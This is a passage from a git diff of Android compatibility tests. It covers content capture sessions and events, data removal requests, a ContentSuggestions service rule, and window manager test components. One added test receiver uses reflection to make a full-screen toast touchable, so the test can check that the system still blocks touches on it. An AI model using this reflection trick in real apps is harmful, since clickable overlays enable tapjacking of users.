+                activity.mUsernameLabel.getAutofillId(), activity.mUsername.getAutofillId(),
+                activity.mPasswordLabel.getAutofillId(), activity.mPassword.getAutofillId());
+    }
+
+    @Test
+    public void testSimpleLifecycle_changeContextAfterCreate() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        final ContentCaptureContext newContext1 = newContentCaptureContext();
+        final ContentCaptureContext newContext2 = null;
+
+        final View rootView = activity.getRootView();
+        final ContentCaptureSession mainSession = rootView.getContentCaptureSession();
+        assertThat(mainSession).isNotNull();
+        Log.i(TAG, "Updating root view (" + rootView + ") context to " + newContext1);
+        mainSession.setContentCaptureContext(newContext1);
+        assertContentCaptureContext(mainSession.getContentCaptureContext());
+
+        Log.i(TAG, "Updating root view (" + rootView + ") context to " + newContext2);
+        mainSession.setContentCaptureContext(newContext2);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+
+        final int additionalEvents = 2;
+        final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
+                additionalEvents);
+
+        final ContentCaptureEvent event1 = assertContextUpdated(events, LoginActivity.MIN_EVENTS);
+        final ContentCaptureContext actualContext = event1.getContentCaptureContext();
+        assertContentCaptureContext(actualContext);
+
+        final ContentCaptureEvent event2 = assertContextUpdated(events,
+                LoginActivity.MIN_EVENTS + 1);
+        assertThat(event2.getContentCaptureContext()).isNull();
+    }
+
+    @Test
+    public void testSimpleLifecycle_changeContextOnCreate() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ContentCaptureContext newContext = newContentCaptureContext();
+
+        LoginActivity.onRootView((activity, rootView) -> {
+            final ContentCaptureSession mainSession = rootView.getContentCaptureSession();
+            Log.i(TAG, "Setting root view (" + rootView + ") context to " + newContext);
+            mainSession.setContentCaptureContext(newContext);
+            assertContentCaptureContext(mainSession.getContentCaptureContext());
+        });
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+        final ContentCaptureSessionId sessionId = session.id;
+        assertRightActivity(session, sessionId, activity);
+
+        // Sanity check
+
+        final List<ContentCaptureEvent> events = session.getEvents();
+        Log.v(TAG, "events(" + events.size() + "): " + events);
+        // TODO(b/123540067): ideally it should be X so it reflects just the views defined
+        // in the layout - right now it's generating events for 2 intermediate parents
+        // (android:action_mode_bar_stub and android:content), we should try to create an
+        // activity without them
+
+        final AutofillId rootId = activity.getRootView().getAutofillId();
+
+        assertThat(events.size()).isAtLeast(11);
+
+        // TODO(b/123540067): get rid of those intermediated parents
+        final View grandpa1 = activity.getGrandParent();
+        final View grandpa2 = activity.getGrandGrandParent();
+        final View decorView = activity.getDecorView();
+        final View rootView = activity.getRootView();
+
+        final ContentCaptureEvent ctxUpdatedEvent = assertContextUpdated(events, 0);
+        final ContentCaptureContext actualContext = ctxUpdatedEvent.getContentCaptureContext();
+        assertContentCaptureContext(actualContext);
+
+        assertSessionResumed(events, 1);
+        assertViewTreeStarted(events, 2);
+        assertDecorViewAppeared(events, 3, decorView);
+        assertViewAppeared(events, 4, grandpa2, decorView.getAutofillId());
+        assertViewAppeared(events, 5, grandpa1, grandpa2.getAutofillId());
+        assertViewAppeared(events, 6, sessionId, rootView, grandpa1.getAutofillId());
+        assertViewAppeared(events, 7, sessionId, activity.mUsernameLabel, rootId);
+        assertViewAppeared(events, 8, sessionId, activity.mUsername, rootId);
+        assertViewAppeared(events, 9, sessionId, activity.mPasswordLabel, rootId);
+        assertViewAppeared(events, 10, sessionId, activity.mPassword, rootId);
+    }
+
+    @Test
+    public void testTextChanged() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        LoginActivity.onRootView((activity, rootView) -> ((LoginActivity) activity).mUsername
+                .setText("user"));
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.syncRunOnUiThread(() -> {
+            activity.mUsername.setText("USER");
+            activity.mPassword.setText("PASS");
+        });
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        final ContentCaptureSessionId sessionId = session.id;
+
+        assertRightActivity(session, sessionId, activity);
+
+        final int additionalEvents = 2;
+        final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
+                additionalEvents);
+
+        final int i = LoginActivity.MIN_EVENTS;
+
+        assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "USER");
+        assertViewTextChanged(events, i + 1, activity.mPassword.getAutofillId(), "PASS");
+
+        activity.assertInitialViewsDisappeared(events, additionalEvents);
+    }
+
+    @Test
+    public void testTextChangeBuffer() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        LoginActivity.onRootView((activity, rootView) -> ((LoginActivity) activity).mUsername
+                .setText(""));
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.syncRunOnUiThread(() -> {
+            activity.mUsername.setText("a");
+            activity.mUsername.setText("ab");
+
+            activity.mPassword.setText("d");
+            activity.mPassword.setText("de");
+
+            activity.mUsername.setText("abc");
+        });
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        final ContentCaptureSessionId sessionId = session.id;
+
+        assertRightActivity(session, sessionId, activity);
+
+        final int additionalEvents = 3;
+        final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
+                additionalEvents);
+
+        final int i = LoginActivity.MIN_EVENTS;
+
+        assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "ab");
+        assertViewTextChanged(events, i + 1, activity.mPassword.getAutofillId(), "de");
+        assertViewTextChanged(events, i + 2, activity.mUsername.getAutofillId(), "abc");
+
+        activity.assertInitialViewsDisappeared(events, additionalEvents);
+    }
+
+    @Test
+    public void testDisabledByFlagSecure() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        LoginActivity.onRootView((activity, rootView) -> activity.getWindow()
+                .addFlags(WindowManager.LayoutParams.FLAG_SECURE));
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        assertThat((session.context.getFlags()
+                & ContentCaptureContext.FLAG_DISABLED_BY_FLAG_SECURE) != 0).isTrue();
+        final ContentCaptureSessionId sessionId = session.id;
+        Log.v(TAG, "session id: " + sessionId);
+
+        assertRightActivity(session, sessionId, activity);
+
+        final List<ContentCaptureEvent> events = session.getEvents();
+        assertThat(events).isEmpty();
+    }
+
+    @Test
+    public void testDisabledByApp() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        LoginActivity.onRootView((activity, rootView) -> activity.getContentCaptureManager()
+                .setContentCaptureEnabled(false));
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        assertThat(activity.getContentCaptureManager().isContentCaptureEnabled()).isFalse();
+
+        activity.syncRunOnUiThread(() -> activity.mUsername.setText("D'OH"));
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        assertThat((session.context.getFlags()
+                & ContentCaptureContext.FLAG_DISABLED_BY_APP) != 0).isTrue();
+        final ContentCaptureSessionId sessionId = session.id;
+        Log.v(TAG, "session id: " + sessionId);
+
+        assertRightActivity(session, sessionId, activity);
+
+        final List<ContentCaptureEvent> events = session.getEvents();
+        assertThat(events).isEmpty();
+    }
+
+    @Test
+    public void testDisabledFlagSecureAndByApp() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        LoginActivity.onRootView((activity, rootView) -> {
+            activity.getContentCaptureManager().setContentCaptureEnabled(false);
+            activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_SECURE);
+        });
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        assertThat(activity.getContentCaptureManager().isContentCaptureEnabled()).isFalse();
+        activity.syncRunOnUiThread(() -> activity.mUsername.setText("D'OH"));
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        assertThat((session.context.getFlags()
+                & ContentCaptureContext.FLAG_DISABLED_BY_APP) != 0).isTrue();
+        assertThat((session.context.getFlags()
+                & ContentCaptureContext.FLAG_DISABLED_BY_FLAG_SECURE) != 0).isTrue();
+        final ContentCaptureSessionId sessionId = session.id;
+        Log.v(TAG, "session id: " + sessionId);
+
+        assertRightActivity(session, sessionId, activity);
+
+        final List<ContentCaptureEvent> events = session.getEvents();
+        assertThat(events).isEmpty();
+    }
+
+    @Test
+    public void testUserDataRemovalRequest_forEverything() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        LoginActivity.onRootView((activity, rootView) -> activity.getContentCaptureManager()
+                .removeData(new DataRemovalRequest.Builder().forEverything()
+                        .build()));
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        DataRemovalRequest request = service.getRemovalRequest();
+        assertThat(request).isNotNull();
+        assertThat(request.isForEverything()).isTrue();
+        assertThat(request.getLocusIdRequests()).isNull();
+        assertThat(request.getPackageName()).isEqualTo(MY_PACKAGE);
+    }
+
+    @Test
+    public void testUserDataRemovalRequest_oneId() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final LocusId locusId = new LocusId("com.example");
+
+        LoginActivity.onRootView((activity, rootView) -> activity.getContentCaptureManager()
+                .removeData(new DataRemovalRequest.Builder()
+                        .addLocusId(locusId, NO_FLAGS)
+                        .build()));
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        DataRemovalRequest request = service.getRemovalRequest();
+        assertThat(request).isNotNull();
+        assertThat(request.isForEverything()).isFalse();
+        assertThat(request.getPackageName()).isEqualTo(MY_PACKAGE);
+
+        final List<LocusIdRequest> requests = request.getLocusIdRequests();
+        assertThat(requests.size()).isEqualTo(1);
+
+        final LocusIdRequest actualRequest = requests.get(0);
+        assertThat(actualRequest.getLocusId()).isEqualTo(locusId);
+        assertThat(actualRequest.getFlags()).isEqualTo(NO_FLAGS);
+    }
+
+    @Test
+    public void testUserDataRemovalRequest_manyIds() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final LocusId locusId1 = new LocusId("com.example");
+        final LocusId locusId2 = new LocusId("com.example2");
+
+        LoginActivity.onRootView((activity, rootView) -> activity.getContentCaptureManager()
+                .removeData(new DataRemovalRequest.Builder()
+                        .addLocusId(locusId1, NO_FLAGS)
+                        .addLocusId(locusId2, FLAG_IS_PREFIX)
+                        .build()));
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final DataRemovalRequest request = service.getRemovalRequest();
+        assertThat(request).isNotNull();
+        assertThat(request.isForEverything()).isFalse();
+        assertThat(request.getPackageName()).isEqualTo(MY_PACKAGE);
+
+        final List<LocusIdRequest> requests = request.getLocusIdRequests();
+        assertThat(requests.size()).isEqualTo(2);
+
+        final LocusIdRequest actualRequest1 = requests.get(0);
+        assertThat(actualRequest1.getLocusId()).isEqualTo(locusId1);
+        assertThat(actualRequest1.getFlags()).isEqualTo(NO_FLAGS);
+
+        final LocusIdRequest actualRequest2 = requests.get(1);
+        assertThat(actualRequest2.getLocusId()).isEqualTo(locusId2);
+        assertThat(actualRequest2.getFlags()).isEqualTo(FLAG_IS_PREFIX);
+    }
+
+    @Test
+    public void testAddChildren_rightAway() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+        final View[] children = new View[2];
+
+        final DoubleVisitor<AbstractRootViewActivity, LinearLayout> visitor = (activity,
+                rootView) -> {
+            final TextView child1 = newImportantView(activity, "c1");
+            children[0] = child1;
+            Log.v(TAG, "Adding child1(" + child1.getAutofillId() + "): " + child1);
+            rootView.addView(child1);
+            final TextView child2 = newImportantView(activity, "c1");
+            children[1] = child2;
+            Log.v(TAG, "Adding child2(" + child2.getAutofillId() + "): " + child2);
+            rootView.addView(child2);
+        };
+        LoginActivity.onRootView(visitor);
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+
+        final ContentCaptureSessionId sessionId = session.id;
+        assertRightActivity(session, sessionId, activity);
+
+        final List<ContentCaptureEvent> events = activity.assertJustInitialViewsAppeared(session,
+                /* additionalEvents= */ 2);
+        final AutofillId rootId = activity.getRootView().getAutofillId();
+        int i = LoginActivity.MIN_EVENTS - 1;
+        assertViewAppeared(events, i, sessionId, children[0], rootId);
+        assertViewAppeared(events, i + 1, sessionId, children[1], rootId);
+        assertViewTreeFinished(events, i + 2);
+
+        activity.assertInitialViewsDisappeared(events, children.length);
+    }
+
+    @Test
+    public void testAddChildren_afterAnimation() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+        final View[] children = new View[2];
+
+        final DoubleVisitor<AbstractRootViewActivity, LinearLayout> visitor = (activity,
+                rootView) -> {
+            final TextView child1 = newImportantView(activity, "c1");
+            children[0] = child1;
+            Log.v(TAG, "Adding child1(" + child1.getAutofillId() + "): " + child1);
+            rootView.addView(child1);
+            final TextView child2 = newImportantView(activity, "c1");
+            children[1] = child2;
+            Log.v(TAG, "Adding child2(" + child2.getAutofillId() + "): " + child2);
+            rootView.addView(child2);
+        };
+        LoginActivity.onAnimationComplete(visitor);
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final Session session = service.getOnlyFinishedSession();
+        Log.v(TAG, "session id: " + session.id);
+
+        final ContentCaptureSessionId sessionId = session.id;
+        assertRightActivity(session, sessionId, activity);
+        final int additionalEvents = 2; // 2 children views
+        final List<ContentCaptureEvent> events = activity.assertJustInitialViewsAppeared(session,
+                additionalEvents);
+        assertThat(events.size()).isAtLeast(LoginActivity.MIN_EVENTS + 5);
+        final View decorView = activity.getDecorView();
+        final View grandpa1 = activity.getGrandParent();
+        final View grandpa2 = activity.getGrandGrandParent();
+        final AutofillId rootId = activity.getRootView().getAutofillId();
+        int i = LoginActivity.MIN_EVENTS - 1;
+
+        assertViewTreeFinished(events, i);
+        assertViewTreeStarted(events, i + 1);
+        assertViewAppeared(events, i + 2, sessionId, children[0], rootId);
+        assertViewAppeared(events, i + 3, sessionId, children[1], rootId);
+        assertViewTreeFinished(events, i + 4);
+
+        // TODO(b/122315042): assert parents disappeared
+        if (true) return;
+
+        // TODO(b/122315042): sometimes we get decor view disappareared events, sometimes we don't
+        // As we don't really care about those, let's fix it!
+        try {
+            assertViewsOptionallyDisappeared(events, LoginActivity.MIN_EVENTS + additionalEvents,
+                    rootId,
+                    grandpa1.getAutofillId(), grandpa2.getAutofillId(),
+                    activity.mUsernameLabel.getAutofillId(), activity.mUsername.getAutofillId(),
+                    activity.mPasswordLabel.getAutofillId(), activity.mPassword.getAutofillId(),
+                    children[0].getAutofillId(), children[1].getAutofillId());
+        } catch (AssertionError e) {
+            Log.e(TAG, "Hack-ignoring assertion without decor view: " + e);
+            // Try again removing it...
+            assertViewsOptionallyDisappeared(events, LoginActivity.MIN_EVENTS + additionalEvents,
+                    rootId,
+                    grandpa1.getAutofillId(), grandpa2.getAutofillId(),
+                    decorView.getAutofillId(),
+                    activity.mUsernameLabel.getAutofillId(), activity.mUsername.getAutofillId(),
+                    activity.mPasswordLabel.getAutofillId(), activity.mPassword.getAutofillId(),
+                    children[0].getAutofillId(), children[1].getAutofillId());
+
+        }
+    }
+
+    @Test
+    public void testWhitelist_packageNotWhitelisted() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        service.setContentCaptureWhitelist((Set) null, (Set) null);
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        assertThat(service.getAllSessionIds()).isEmpty();
+    }
+
+    @Test
+    public void testWhitelist_activityNotWhitelisted() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ArraySet<ComponentName> components = new ArraySet<>();
+        components.add(new ComponentName(MY_PACKAGE, "some.activity"));
+        service.setContentCaptureWhitelist(null, components);
+        final ActivityWatcher watcher = startWatcher();
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        assertThat(service.getAllSessionIds()).isEmpty();
+    }
+
+    /**
+     * Creates a context that can be assert by
+     * {@link #assertContentCaptureContext(ContentCaptureContext)}.
+     */
+    private ContentCaptureContext newContentCaptureContext() {
+        final String id = "file://dev/null";
+        final Bundle bundle = new Bundle();
+        bundle.putString("DUDE", "SWEET");
+        return new ContentCaptureContext.Builder(new LocusId(id)).setExtras(bundle).build();
+    }
+
+    /**
+     * Asserts a context that can has been created by {@link #newContentCaptureContext()}.
+     */
+    private void assertContentCaptureContext(@NonNull ContentCaptureContext context) {
+        assertWithMessage("null context").that(context).isNotNull();
+        assertWithMessage("wrong ID on context %s", context).that(context.getLocusId().getId())
+                .isEqualTo("file://dev/null");
+        final Bundle extras = context.getExtras();
+        assertWithMessage("no extras on context %s", context).that(extras).isNotNull();
+        assertWithMessage("wrong number of extras on context %s", context).that(extras.size())
+                .isEqualTo(1);
+        assertWithMessage("wrong extras on context %s", context).that(extras.getString("DUDE"))
+                .isEqualTo("SWEET");
+    }
+
+    // TODO(b/123540602): add moar test cases for different sessions:
+    // - session1 on rootView, session2 on children
+    // - session1 on rootView, session2 on child1, session3 on child2
+    // - combination above where the CTS test explicitly finishes a session
+
+    // TODO(b/123540602): add moar test cases for different scenarios, like:
+    // - dynamically adding /
+    // - removing views
+    // - pausing / resuming activity / tapping home
+    // - changing text
+    // - secure flag with child sessions
+    // - making sure events are flushed when activity pause / resume
+
+    // TODO(b/126262658): moar lifecycle events, like multiple activities.
+
+}
diff --git a/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java b/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
index c9f7fbb..20c6a5f 100644
--- a/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
+++ b/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
@@ -37,10 +37,13 @@
 import androidx.annotation.NonNull;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.RequiredServiceRule;
+
 import com.google.common.collect.Lists;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.ClassRule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -58,6 +61,10 @@
     private static final long VERIFY_TIMEOUT_MS = 5_000;
     private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 10_000;
 
+    @ClassRule
+    public static final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.CONTENT_SUGGESTIONS_SERVICE);
+
     private ContentSuggestionsManager mManager;
     private CtsContentSuggestionsService.Watcher mWatcher;
 
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index 4f8fe3d..a674c86 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -272,6 +272,7 @@
         </service>
 
         <activity android:name="android.server.wm.AlertWindowsAppOpsTestsActivity"/>
+        <activity android:name="android.server.wm.CloseOnOutsideTestActivity" />
         <activity android:name="android.server.wm.DialogFrameTestActivity" />
         <activity android:name="android.server.wm.DisplayCutoutTests$TestActivity"
                   android:turnScreenOn="true"
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 0b79756..67cafd4 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -532,6 +532,10 @@
                <action android:name="android.service.vr.VrListenerService" />
            </intent-filter>
         </service>
+
+        <receiver
+            android:name=".ToastReceiver"
+            android:exported="true" />
     </application>
 </manifest>
 
diff --git a/tests/framework/base/windowmanager/app/res/layout/toast.xml b/tests/framework/base/windowmanager/app/res/layout/toast.xml
new file mode 100644
index 0000000..3663ab6
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/layout/toast.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="#FFFFFFFF"
+    >
+
+  <TextView
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_centerInParent="true"
+      android:text="I'm a fullscreen toast!" />
+
+</RelativeLayout>
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 94b397f..734b482 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -168,6 +168,9 @@
     public static final ComponentName LAUNCH_BROADCAST_RECEIVER =
             component("LaunchBroadcastReceiver");
 
+    public static final ComponentName TOAST_RECEIVER =
+            component("ToastReceiver");
+
     public static class LaunchBroadcastReceiver {
         public static final String LAUNCH_BROADCAST_ACTION =
                 "android.server.wm.app.LAUNCH_BROADCAST_ACTION";
@@ -413,11 +416,16 @@
         public static final String COMMAND_RESIZE_DISPLAY = "resize_display";
     }
 
+    public static class ToastReceiver {
+        public static final String ACTION_TOAST_DISPLAYED = "toast_displayed";
+        public static final String ACTION_TOAST_TAP_DETECTED = "toast_tap_detected";
+    }
+
     private static ComponentName component(String className) {
         return component(Components.class, className);
     }
 
-    private static String getPackageName() {
+    public static String getPackageName() {
         return getPackageName(Components.class);
     }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ToastReceiver.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ToastReceiver.java
new file mode 100644
index 0000000..9ef6c3a
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ToastReceiver.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_DISPLAYED;
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_TAP_DETECTED;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.view.Gravity;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Field;
+
+public class ToastReceiver extends BroadcastReceiver {
+    private static final int DETECT_TOAST_TIMEOUT_MS = 15000;
+    private static final int DETECT_TOAST_POOLING_INTERVAL_MS = 200;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Handler handler = new Handler();
+        Toast toast = getToast(context);
+        long deadline = SystemClock.uptimeMillis() + DETECT_TOAST_TIMEOUT_MS;
+        handler.post(
+                new DetectToastRunnable(
+                        context.getApplicationContext(), toast.getView(), deadline, handler));
+        toast.show();
+    }
+
+    private Toast getToast(Context context) {
+        Context applicationContext = context.getApplicationContext();
+        View view = LayoutInflater.from(context).inflate(R.layout.toast, null);
+        view.setOnTouchListener((v, event) -> {
+            applicationContext.sendBroadcast(new Intent(ACTION_TOAST_TAP_DETECTED));
+            return false;
+        });
+        Toast toast = getClickableToast(context);
+        toast.setView(view);
+        toast.setGravity(Gravity.FILL_HORIZONTAL | Gravity.FILL_VERTICAL, 0, 0);
+        toast.setDuration(Toast.LENGTH_LONG);
+        return toast;
+    }
+
+    /**
+     * Purposely creating a toast without FLAG_NOT_TOUCHABLE in the client-side (via reflection) to
+     * test enforcement on the server-side.
+     */
+    private Toast getClickableToast(Context context) {
+        try {
+            Toast toast = new Toast(context);
+            Field tnField = Toast.class.getDeclaredField("mTN");
+            tnField.setAccessible(true);
+            Object tnObject = tnField.get(toast);
+            Field paramsField = Class.forName(
+                    Toast.class.getCanonicalName() + "$TN").getDeclaredField("mParams");
+            paramsField.setAccessible(true);
+            LayoutParams params = (LayoutParams) paramsField.get(tnObject);
+            params.flags = LayoutParams.FLAG_KEEP_SCREEN_ON | LayoutParams.FLAG_NOT_FOCUSABLE;
+            return toast;
+        } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
+            throw new IllegalStateException("Toast reflection failed", e);
+        }
+    }
+
+    private static class DetectToastRunnable implements Runnable {
+        private final Context mContext;
+        private final WeakReference<View> mToastViewRef;
+        private final long mDeadline;
+        private final Handler mHandler;
+
+        private DetectToastRunnable(
+                Context applicationContext, View toastView, long deadline, Handler handler) {
+            mContext = applicationContext;
+            mToastViewRef = new WeakReference<>(toastView);
+            mDeadline = deadline;
+            mHandler = handler;
+        }
+
+        @Override
+        public void run() {
+            View toastView = mToastViewRef.get();
+            if (SystemClock.uptimeMillis() > mDeadline || toastView == null) {
+                return;
+            }
+            if (toastView.getParent() != null) {
+                mContext.sendBroadcast(new Intent(ACTION_TOAST_DISPLAYED));
+                return;
+            }
+            mHandler.postDelayed(this, DETECT_TOAST_POOLING_INTERVAL_MS);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/app27/AndroidManifest.xml b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
index ab9dbc0..66da0e6 100755
--- a/tests/framework/base/windowmanager/app27/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
@@ -34,6 +34,17 @@
                   android:exported="true"
         />
 
+        <activity android:name=".LaunchEnterPipActivity"
+                  android:exported="true"
+        />
+
+        <activity android:name=".PipActivity"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
+        />
+
         <activity android:name=".HomeActivity"
                         android:enabled="false"
                         android:exported="true">
diff --git a/tests/framework/base/windowmanager/app27/src/android/server/wm/app27/Components.java b/tests/framework/base/windowmanager/app27/src/android/server/wm/app27/Components.java
index fd05e74..bf59582 100644
--- a/tests/framework/base/windowmanager/app27/src/android/server/wm/app27/Components.java
+++ b/tests/framework/base/windowmanager/app27/src/android/server/wm/app27/Components.java
@@ -33,6 +33,12 @@
     public static final ComponentName SDK_27_SEPARATE_PROCESS_ACTIVITY =
             component(Components.class, "SeparateProcessActivity");
 
+    public static final ComponentName SDK_27_LAUNCH_ENTER_PIP_ACTIVITY =
+            component(Components.class, "LaunchEnterPipActivity");
+
+    public static final ComponentName SDK_27_PIP_ACTIVITY =
+            component(Components.class, "PipActivity");
+
     public static final ComponentName SDK_27_HOME_ACTIVITY =
             component(Components.class, "HomeActivity");
 }
diff --git a/tests/framework/base/windowmanager/app27/src/android/server/wm/app27/LaunchEnterPipActivity.java b/tests/framework/base/windowmanager/app27/src/android/server/wm/app27/LaunchEnterPipActivity.java
new file mode 100644
index 0000000..ad1e431
--- /dev/null
+++ b/tests/framework/base/windowmanager/app27/src/android/server/wm/app27/LaunchEnterPipActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
